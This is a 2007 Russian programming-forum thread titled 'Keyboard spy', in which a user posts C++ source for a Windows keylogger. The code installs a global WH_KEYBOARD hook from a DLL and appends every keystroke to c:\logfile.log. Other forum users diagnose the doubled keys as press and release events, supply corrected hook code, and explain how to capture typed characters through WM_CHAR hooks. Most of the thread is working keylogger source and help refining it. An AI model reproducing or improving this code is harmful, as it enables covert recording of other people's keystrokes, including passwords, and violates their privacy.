Справочник функций

Ваш аккаунт

Войти через: 
Забыли пароль?
Регистрация
Информацию о новых материалах можно получать и без регистрации:

Почтовая рассылка

Подписчиков: -1
Последний выпуск: 19.06.2015

Клавиатурный шпион

12K
05 августа 2007 года
mortar89
25 / / 17.11.2006
Всем, привет!
Вот решил сделать небольшого клавиатурного шпиона. Но возникла проблема. почему-то, нажатая клавиша, записывается в текстовый файл 2 раза. Например пользователь нажал букву "М". Результат в файле logfile: "ММ". И еще вопрос как сделать распознавание русских букв?
Вот код:

Hook.cpp
/*******************************************************/
Код:
#include <winuser.h>
#include <winbase.h>
#include <stdio.h>

//--------------------------------------------------------------------------
      HHOOK hook;
//---------------------------------------------------------------------------
WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int)
{
typedef int (CALLBACK* lpfn)();
lpfn hookfunc;
HINSTANCE hDLL=LoadLibrary("dllhook.dll");

hookfunc=(lpfn)GetProcAddress(hDLL,"KeyboardProc");

hook=SetWindowsHookEx(WH_KEYBOARD,hookfunc,LoadLibrary("dllhook.dll"),
0 );
while(1) {};
}


dllhook.cpp (библиотека dll)
/****************************************************/
Код:
#include <vcl.h>
#include <windows.h>
#include <winuser.h>
#include <stdio.h>

#pragma hdrstop

//---------------------------------------------------------------------------

#pragma argsused

extern "C" __declspec(dllexport) LRESULT CALLBACK
KeyboardProc(int code, WPARAM wParam, LPARAM lParam);


LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam)
{
FILE *f;

if((f=fopen("c:\\logfile.log","a"))!=NULL)
{
fputc(MapVirtualKey(wParam,2),f);

fclose(f);
}

return CallNextHookEx(NULL, code, wParam, lParam);
}


int WINAPI DllEntryPoint(HINSTANCE hinst, unsigned long reason, void*)
{
        return 1;
}
3.3K
05 августа 2007 года
ShadyMan
191 / / 15.07.2006
1. Видимо, вначале генерируется и перехватывается нажатие на клавишу, а потом отпускание. А клавиша одна и та же.
2. С этой функцией (MapVirtualKey) русских букв ты, наверное, не получишь. Может, TranslateMessage? Только как ей воспользоваться в твоём случае - это надо крепко подумать.
241
06 августа 2007 года
Sanila_san
1.6K / / 07.06.2005
Цитата: ShadyMan
Видимо, вначале генерируется и перехватывается нажатие на клавишу, а потом отпускание. А клавиша одна и та же.

Где-то, кажется, у Фаронова, читал, что действительно генерируются сигналы нажатия и отпускания, но значения у них разные, отличающиеся на константу.

3.3K
06 августа 2007 года
ShadyMan
191 / / 15.07.2006
Цитата: Sanila_san
Где-то, кажется, у Фаронова, читал, что действительно генерируются сигналы нажатия и отпускания, но значения у них разные, отличающиеся на константу.

Значения-то разные, но mortar89 передаёт функции MapVirtualKey только вирутальный код. А даже если бы передал и скан-код (MapVirtualKey это допускает), то какая разница? Клавиша-то всё равно одна и та же.

353
06 августа 2007 года
Nixus
840 / / 04.01.2007
ShadyMan дело говорит. У тебя два раза вызыватся хук: один раз для нажатия, второй - для отпускания. Примерно так избавляемся от повторяющихся букв:
Код:
LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam)
{
    FILE *f;

    if((lParam & (1L << 30)) && (f=fopen("c:\\logfile.log","a"))!=NULL)
    {
         fputc(MapVirtualKey(wParam,2),f);
         fclose(f);
     }

     return CallNextHookEx(NULL, code, wParam, lParam);
}


А если хотим ловить символы, то лучше перехватывать сообщения WM_CHAR (через WH_GETMESSAGE или WH_CALLWNDPROC). А если еще хотим ловить специальные клавиши, то перехватываем так же WM_KEYDOWN.
Реклама на сайте | Обмен ссылками | Ссылки | Экспорт (RSS) | Контакты
Добавить статью | Добавить исходник | Добавить хостинг-провайдера | Добавить сайт в каталог